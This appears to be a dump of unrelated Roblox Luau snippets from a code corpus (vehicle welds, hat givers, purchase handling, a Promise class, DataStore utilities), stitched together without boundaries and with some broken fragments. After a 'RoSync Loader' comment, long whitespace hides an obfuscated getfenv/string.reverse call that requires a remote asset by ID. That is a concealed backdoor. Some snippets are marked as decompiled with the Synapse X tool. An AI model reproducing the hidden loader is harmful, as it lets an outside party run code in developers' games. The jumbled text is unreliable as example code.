Roblox/luau_corpus huggingface dataset:
-- Roblox Services
local HttpService = game:GetService( "HttpService" )
--[Variables]--
local Lowest = 0.4

local Pitch = Lowest
--------------------------------------------------------------------------------------------------------------------------------------
function PressL(key)				
	if (key== "l") then
if (Activate==false) then
game.Players.LocalPlayer.Character.Helmet.LS.Light.Enabled=true
game.Players.LocalPlayer.Character.Helmet.Flashlight.Material = "Neon"
game.Players.LocalPlayer.Character.Helmet.Flashlight.BrickColor = BrickColor.new("Brick yellow")
Activate = true
elseif (Activate==true) then
	
game.Players.LocalPlayer.Character.Helmet.LS.Light.Enabled=false	
game.Players.LocalPlayer.Character.Helmet.Flashlight.Material = "SmoothPlastic"
game.Players.LocalPlayer.Character.Helmet.Flashlight.BrickColor = BrickColor.new("Black")
	Activate=false
		end
	end
end
Mouse.KeyDown:connect(PressL)
-- (Hat Giver Script - Loaded.)

debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "TopHat"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle" 
		p.formFactor = 0
		p.Size = Vector3.new(0,-0.25,0) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0, 0.6, -0.170)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)
--[[
    Returns a new object of the registry's class and indexes it with the given key
]]
function Registry:add(key, ...)
	if self.objects[key] then
		warn(string.format("[Registry] - object already exists for key %s", tostring(key)))
		self:remove(key)
	end
	local object = self.class.new(key, ...)
	self.objects[key] = object
	return object
end
--Weld stuff here

MakeWeld(misc.Hood.Hinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Hood.Parts,misc.Hood.Hinge)

MakeWeld(car.Misc.Wheel.W,car.DriveSeat,"Motor").Name="W"
ModelWeld(car.Misc.Wheel.Parts,car.Misc.Wheel.W)


car.DriveSeat.ChildAdded:connect(function(child)
	if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
		child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
	end
end)
--[[
	The base part of a system component. A BaseSystem can be turned on and off, with a health amount. 
]]
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerStorage = game:GetService("ServerStorage")
local CollectionService = game:GetService("CollectionService")
local TweenService = game:GetService("TweenService")

local ClassUtils = require(ReplicatedStorage.Dependencies.LuaUtils.ClassUtils)
local Logger = require(ReplicatedStorage.Dependencies.GameUtils.Logger)
local Constants = require(ReplicatedStorage.Source.Common.Constants)
local sendAlert = require(ServerStorage.Source.Common.sendAlert)
local translate = require(ReplicatedStorage.Dependencies.GameUtils.TranslateUtils).translate

local remotesFolder = ReplicatedStorage.Remotes
local CreateMarker = remotesFolder.CreateMarker
local DestroyMarker = remotesFolder.DestroyMarker

local DEFAULT_STARTING_HEALTH = 100
local DEFAULT_TOOLKIT_HEALING_AMOUNT = 45
local MONSTER_DAMAGE = 20
local MONSTER_DEBOUNCE_TIME = 4

local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Bounce, Enum.EasingDirection.Out)
-- ScreenSpace -> WorldSpace. Taking a screen width that you want that object to be
-- and a world width that is the size of that object, and returning the position to
-- put that object at to satisfy those.
function ScreenSpace.ScreenToWorldByWidth(x, y, screenWidth, worldWidth)
	local aspectRatio = ScreenSpace.AspectRatio()
	local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
	local wfactor = aspectRatio*hfactor
	local sx, sy = ScreenSpace.ViewSizeX(), ScreenSpace.ViewSizeY()
	--
	local depth = - (sx * worldWidth) / (screenWidth * 2 * wfactor)
	--
	local xf, yf = x/sx*2 - 1, y/sy*2 - 1
	local xpos = xf * -wfactor * depth
	local ypos = yf *  hfactor * depth
	--
	return Vector3.new(xpos, ypos, depth)
end

return ScreenSpace
--[[
	If it exists, will remove the cached player character appearance of specified userId
]]
function CharacterAppearanceCache.removeCachedAppearance(userId)
	if not appearanceCache[tostring(userId)] then
		Logger.warn("Cannot remove cached appearance for user ", userId, " as it is does not exist")
		return
	end

	appearanceCache[userId] = nil
end

return CharacterAppearanceCache
--[[ Last synced 10/14/2020 09:25 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
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------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


_L.Services.MarketplaceService.ProcessReceipt = function(receiptInfo)
	--- Reciept info
	local playerId = receiptInfo.PlayerId
	local productId, purchaseId = receiptInfo.ProductId, receiptInfo.PurchaseId
	local currencySpent, currencyType = receiptInfo.CurrencySpent, receiptInfo.CurrencyType
	local placeId = receiptInfo.PlaceIdWherePurchased
	
	--- Find the player instance from playerId (scans several times just in case)
	local function FindPlayer()
		local player = game.Players:GetPlayerByUserId(playerId)
		local attempts = 0
		while (not player) and attempts < 20 do
			wait(.2)
			player = game.Players:GetPlayerByUserId(playerId)
			attempts = attempts + 1
		end
		return player
	end
	
	--- Process product reciept
	local player = FindPlayer()
	if player then
		--print(productId)
		local productDir = Products.GetDir(productId)
		--print(productDir)
		local playerStats = _L.Saving.Get(player)
		if productDir and playerStats then
			--- Reward the player for purchasing this product based on the callback!
			local pass = false
			local pass2 = pcall(function()
				pass = productDir.Callback(player, receiptInfo)
			end)
			
			--- Success!
			if pass and pass2 then
				pcall(function()
					_L.Network.Fire("Product Bought", player, receiptInfo)
					_L.Signal.Fire("Product Bought", player, receiptInfo)
					_L.Analytics.Purchase("product", player.Name, productId)
				end)
				return Enum.ProductPurchaseDecision.PurchaseGranted
			end
		end
	end
	
	--- Failed, for some reason. Attempt to let the player know (if they are in the server)
	pcall(function()
		if player then
			_L.Network.Fire("Product Failed", player, receiptInfo)
			print("[bold]HUGE ISSUE: Failed to process product purchase! (plr: " .. player.Name .. " | id: " .. productId .. ") [/bold]", true)
		else
			print("[bold]HUGE ISSUE: Failed to process product purchase, could not find player! (plr: " .. playerId .. " | id: " .. productId .. ") [/bold]", true)
		end
	end)
	
	--
	return Enum.ProductPurchaseDecision.NotProcessedYet
end
--AGAIN DO NOT MESS WITH ANYTHING UNLESS YOU KNOW WHAT YOU'RE DOING
-- wat3r_l3g3nds
repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil
local runService = game:GetService("RunService")
local input = game:GetService("UserInputService")
local players = game:GetService("Players")

CanToggleMouse = {allowed = true; activationkey = Enum.KeyCode.F;} 	

local cam = game.Workspace.CurrentCamera
local player = players.LocalPlayer
local m = player:GetMouse()
m.Icon = "http://www.roblox.com/asset/?id=569021388" -- replaces mouse icon

local running = true
local freemouse = false
-- / Functions / --
EventModule.ActivateEvent = function()
	for _, Player in pairs(PlayingTeam:GetPlayers()) do
		if Player then
			local Character = Player.Character or Player.CharacterAdded:Wait()

			if Character then
				local Highlight = Instance.new("Highlight")
				Highlight.Parent = Character
				
			end
		end
	end
end
-- Body Movers:
MainPart.BodyPosition.MaxForce = Vector3.new(0,math.huge,0)
MainPart.BodyPosition.Position = Vector3.new(0,MainPart.Position.Y,0)
MainPart.BodyGyro.CFrame = MainPart.CFrame
MainPart.BodyGyro.MaxTorque = Vector3.new(math.huge,math.huge,math.huge)
MainPart.BodyVelocity.MaxForce = Vector3.new(math.huge,0,math.huge)
--		child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
		if child.Part1.Name == "HumanoidRootPart" then
			player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
			if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
				GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
				GUI:Clone().Parent = player.PlayerGui --// Compact version
				script.Parent.Parent.Body.Lights.RunL.Material = "Neon"
				script.Parent.Parent.Body.Lights.RunR.Material = "Neon"
				script.Parent.Parent.Body.Lights.RunL.BrickColor = BrickColor.new("Pearl")
				script.Parent.Parent.Body.Lights.RunR.BrickColor = BrickColor.new("Pearl")
				script.Parent.Parent.Body.Dash.Screen.G.Enabled = true
				script.Parent.Parent.Body.Dash.DashSc.G.Enabled = true
			end
		end
	end
end)

script.Parent.ChildRemoved:connect(function(child)
	if child:IsA("Weld") then
		if child.Part1.Name == "HumanoidRootPart" then
			game.Workspace.CurrentCamera.FieldOfView = 70
			player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
			if player and player.PlayerGui:FindFirstChild("SS3") then
				player.PlayerGui:FindFirstChild("SS3"):Destroy()
				script.Parent.Parent.Body.Lights.RunL.Material = "SmoothPlastic"
				script.Parent.Parent.Body.Lights.RunR.Material = "SmoothPlastic"
				script.Parent.Parent.Body.Lights.RunL.BrickColor = BrickColor.new("Pearl")
				script.Parent.Parent.Body.Lights.RunR.BrickColor = BrickColor.new("Pearl")
				script.Parent.Parent.Body.Dash.Screen.G.Enabled = false
				script.Parent.Parent.Body.Dash.DashSc.G.Enabled = false
			end
		end
	end	
end)
-- ALEX WAS HERE LOL
local v1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
while not v1.Loaded do
	game:GetService("RunService").Heartbeat:Wait();
end;
local u1 = nil;
function Unlock()
	u1:Destroy();
end;
function IsUnlocked()
	if v1.Save.Get().OwnsVaultGate then
		return true;
	end;
	return false;
end;
function Buy()
	local v2, v3 = v1.Network.Invoke("Buy Vault Gate");
	if not v2 then
		v1.Message.New(v3 or "Error");
	else
		Unlock();
		return;
	end;
end;
function Prompt()
	if v1.Message.New("Do you want to unlock ?", true) then
		Buy();
	end;
end;
function Setup()
	local v4 = v1.WorldCmds.GetMap();
	if v4:FindFirstChild("Interactive") then
		u1 = v4.Interactive:FindFirstChild("Secret Vault");
		if u1 then
			if IsUnlocked() then

			else
				local v5, v6 = v1.Interact.Add(u1:FindFirstChild("Interact"), {
					dist = 15
				});
				v5:Connect(function()
					Prompt();
				end);
				return;
			end;
		else
			return;
		end;
	else
		return;
	end;
	Unlock();
end;
v1.Signal.Fired("World Changed"):Connect(function(p1)
	if p1 == "Haunted" then
		Setup();
	end;
end);
-- Gui Elements
local PlayerGui = player:FindFirstChild("PlayerGui")
local TopBar = PlayerGui:FindFirstChild("TopBar")
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {};
local l__TweenService__1 = game:GetService("TweenService");
function v1.stuff(p1, p2, p3)
	local u2 = p3;
	spawn(function()
		if p1.dead == true then
			return;
		end;
		if not u2 then
			u2 = math.random(1, 500);
		end;
		u2 = Random.new(u2);
		local l__LocalPlayer__2 = game.Players.LocalPlayer;
		local l__PrimaryPart__3 = l__LocalPlayer__2.Character.PrimaryPart;
		local v4 = (p1.cam.CFrame.LookVector * Vector3.new(1, 0, 1)).unit * -1;
		local l__p__5 = p1.cam.CFrame.p;
		l__TweenService__1:Create(p1.cam, TweenInfo.new(0.9, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), {
			CFrame = CFrame.new(l__p__5 + v4 * 2, l__p__5 + v4 * 10)
		}):Play();
		l__PrimaryPart__3.Anchored = true;
		p1.stopcam = true;
		p1.hideplayers = 1;
		local v6 = game:GetService("ReplicatedStorage").Entities.Glitch:Clone();
		local v7 = l__PrimaryPart__3.Position + Vector3.new(0, 7, 0) + v4 * 150;
		v6:SetPrimaryPartCFrame(CFrame.new(v7, v7 - v4));
		v6.Parent = p1.cam;
		v6.Root.SoundHurt:Play();
		v6.AnimationController:LoadAnimation(v6.Animations.Run):Play(0);
		l__TweenService__1:Create(v6.Root, TweenInfo.new(0.7, Enum.EasingStyle.Linear, Enum.EasingDirection.In), {
			CFrame = CFrame.new(v7 - v4 * 140, v7 - v4 * 250)
		}):Play();
		p1.camShaker:ShakeOnce(4, 15, 1, 1);
		p1.camShaker:ShakeOnce(12, 3, 1, 1);
		game.Lighting.FogEnd = 1000;
		l__TweenService__1:Create(game:GetService("Lighting"), TweenInfo.new(0.9, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), {
			FogEnd = 0, 
			FogStart = 0, 
			FogColor = Color3.new(0, 0, 0), 
			Ambient = Color3.new(0, 0, 0)
		}):Play();
		local u3 = tick() + 2;
		task.spawn(function()
			local v8 = l__LocalPlayer__2.PlayerGui.MainUI.MainFrame.GlitchEffect:Clone();
			for v9 = 1, 60 do
				for v10 = 1, 8 do
					local v11 = v8:Clone();
					v11.Name = "FakeGlitchLive";
					v11.Position = UDim2.new(math.random(0, 100) / 100, 0, math.random(0, 100) / 100, 0);
					v11.Rotation = math.random(0, 1) * 180;
					v11.Visible = true;
					v11.Parent = l__LocalPlayer__2.PlayerGui.MainUI;
					game.Debris:AddItem(v11, math.random(1, 20) / 100);
				end;
				task.wait(0.016666666666666666);
				if u3 <= tick() then
					break;
				end;
			end;
		end);
		script.Sound:Play();
		wait(0.7);
		v6.AnimationController:LoadAnimation(v6.Animations.Attack):Play(0);
		game.Lighting.Ambience_Glitch.Enabled = true;
		task.wait(0.05);
		l__LocalPlayer__2.PlayerGui.MainUI.MainFrame.GlitchScreen.Visible = true;
		task.wait(0.1);
		task.wait(1);
		l__LocalPlayer__2.PlayerGui.MainUI.MainFrame.GlitchScreen.Visible = false;
		v6:Destroy();
		p1.hideplayers = 0;
		l__TweenService__1:Create(game:GetService("Lighting"), TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
			FogEnd = game.Lighting.FogEnd, 
			FogStart = 15, 
			FogColor = Color3.new(0, 0, 0)
		}):Play();
		p1.stopcam = false;
		l__PrimaryPart__3.Anchored = false;
		task.wait(0.05);
		game.Lighting.Ambience_Glitch.Enabled = false;
	end);
end;
return v1;
-- Decompiled with the Synapse X Luau decompiler.

client = nil;
service = nil;
return function(p1)
	local v1 = {
		Name = "Vote", 
		Title = "Vote", 
		Size = { 300, 200 }, 
		AllowMultiple = false
	};
	local u1 = nil;
	function v1.OnClose()
		if not u1 then
			u1 = false;
		end;
	end;
	local v2 = client.UI.Make("Window", v1);
	local v3 = v2:Add("TextLabel", {
		Text = p1.Question, 
		TextScaled = true, 
		TextWrapped = true, 
		Size = UDim2.new(1, -10, 0, 50), 
		BackgroundTransparency = 1
	});
	local v4 = v2:Add("ScrollingFrame", {
		Size = UDim2.new(1, -10, 1, -60), 
		Position = UDim2.new(0, 5, 0, 55)
	});
	for v5, v6 in next, p1.Answers do
		local v7 = {
			Text = v5 .. ". " .. v6, 
			Size = UDim2.new(1, -10, 0, 25), 
			Position = UDim2.new(0, 5, 0, 25 * (v5 - 1)), 
			TextXAlignment = "Left"
		};
		local v8 = {};
		function v8.MouseButton1Click()
			v2:Close();
			u1 = v6;
		end;
		v7.Events = v8;
		v4:Add("TextButton", v7);
	end;
	v4:ResizeCanvas();
	local l__gTable__9 = v2.gTable;
	v2:Ready();
	while true do
		wait();
		if u1 then
			break;
		end;
		if not l__gTable__9.Active then
			break;
		end;	
	end;
	return nil;
end;
--[=[
	Queues up a wipe of all values. Data must load before it can be wiped.
]=]
function DataStoreStage:Wipe()
	return self._loadParent:Load(self._loadName, {})
		:Then(function(data)
			for key, _ in pairs(data) do
				if self._stores[key] then
					self._stores[key]:Wipe()
				else
					self:_doStore(key, DataStoreDeleteToken)
				end
			end
		end)
end

function DataStoreStage:Store(name, value)
	if self._takenKeys[name] then
		error(("[DataStoreStage] - Already have a writer for %q"):format(name))
	end

	if value == nil then
		value = DataStoreDeleteToken
	end

	self:_doStore(name, value)
end
--[[Drivetrain]]	
	Tune.Config			= "AWD"		--"FWD" , "RWD" , "AWD"
	Tune.TorqueVector	= 0.1			--AWD ONLY, "-1" has a 100% front bias, "0" has a 50:50 bias, and "1" has a 100% rear bias. Can be any number between that range.
	
	--Differential Settings	
	Tune.FDiffSlipThres	= 50		-- 1 - 100%				(Max threshold of applying full lock determined by deviation from avg speed)
	Tune.FDiffLockThres	= 50		-- 0 - 100%				(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
	Tune.RDiffSlipThres	= 80		-- 1 - 100%
	Tune.RDiffLockThres	= 20		-- 0 - 100%
	Tune.CDiffSlipThres	= 50		-- 1 - 100%				[AWD Only]
	Tune.CDiffLockThres	= 50		-- 0 - 100%				[AWD Only]
	
	--Traction Control Settings
	Tune.TCSEnabled		= true		-- Implements TCS
	Tune.TCSThreshold	= 20		-- Slip speed allowed before TCS starts working (in SPS)
	Tune.TCSGradient	= 20		-- Slip speed gradient between 0 to max reduction (in SPS)
	Tune.TCSLimit		= 10		-- Minimum amount of torque at max reduction (in percent)
--weld2
function module.weld2(base,target,tim)
	local weld = Instance.new("Weld")
	weld.Part0 = base
	weld.Part1 = target
	weld.C0 = target.CFrame:inverse() * base.CFrame
	weld.Parent = weld.Part1
	
	game.Debris:AddItem(target,tim)
end
--This script creates a leaderstat and saves it with the DataStoreService.
--Put this inside of the ServerScriptService.


local stat = "Joins" --Change to your stat name
local startamount = 0 --Change to how much points the player will start out with


local DataStore = game:GetService("DataStoreService")
local ds = DataStore:GetDataStore("LeaderStatSave")
--[[
	Yield until the promise is completed.

	This matches the execution model of normal Roblox functions.
]]
function Promise:await()
	self._unhandledRejection = false

	if self._status == Promise.Status.Started then
		local result
		local bindable = Instance.new("BindableEvent")

		self:andThen(function(...)
			result = {...}
			bindable:Fire(true)
		end, function(...)
			result = {...}
			bindable:Fire(false)
		end)

		local ok = bindable.Event:Wait()
		bindable:Destroy()

		if not ok then
			error(tostring(result[1]), 2)
		end

		return unpack(result)
	elseif self._status == Promise.Status.Resolved then
		return unpack(self._value)
	elseif self._status == Promise.Status.Rejected then
		error(tostring(self._value[1]), 2)
	end
end

function Promise:_resolve(...)
	if self._status ~= Promise.Status.Started then
		return
	end

	-- If the resolved value was a Promise, we chain onto it!
	if Promise.is((...)) then
		-- Without this warning, arguments sometimes mysteriously disappear
		if select("#", ...) > 1 then
			local message = ("When returning a Promise from andThen, extra arguments are discarded! See:\n\n%s"):format(
				self._source
			)
			warn(message)
		end

		(...):andThen(function(...)
			self:_resolve(...)
		end, function(...)
			self:_reject(...)
		end)

		return
	end

	self._status = Promise.Status.Resolved
	self._value = {...}

	-- We assume that these callbacks will not throw errors.
	for _, callback in ipairs(self._queuedResolve) do
		callback(...)
	end
end

function Promise:_reject(...)
	if self._status ~= Promise.Status.Started then
		return
	end

	self._status = Promise.Status.Rejected
	self._value = {...}

	-- If there are any rejection handlers, call those!
	if not isEmpty(self._queuedReject) then
		-- We assume that these callbacks will not throw errors.
		for _, callback in ipairs(self._queuedReject) do
			callback(...)
		end
	else
		-- At this point, no one was able to observe the error.
		-- An error handler might still be attached if the error occurred
		-- synchronously. We'll wait one tick, and if there are still no
		-- observers, then we should put a message in the console.

		self._unhandledRejection = true
		-- Rather than trying to figure out how to pack/represent the rejection values,
		-- we just stringify the first value and leave the rest alone
		local err = tutils.toString((...))

		spawn(function()
			-- Someone observed the error, hooray!
			if not self._unhandledRejection then
				return
			end

			-- Build a reasonable message
			local message = ("Unhandled promise rejection:\n\n%s\n\n%s"):format(
				err,
				self._source
			)
			warn(message)
		end)
	end
end

return Promise
--[=[
	Retrieves an attribute, and if it is nil, returns the default
	instead.
	@param instance Instance
	@param attributeName string
	@param default T?
	@return T?
]=]
function AttributeUtils.getAttribute(instance, attributeName, default)
	local value = instance:GetAttribute(attributeName)
	if value == nil then
		return default
	end

	return value
end

return AttributeUtils
--- Copies a table, but not deep.
-- @tparam table target Table to copy
-- @treturn table New table
function Table.copy(target)
	local new = {}
	for key, value in pairs(target) do
		new[key] = value
	end
	return new
end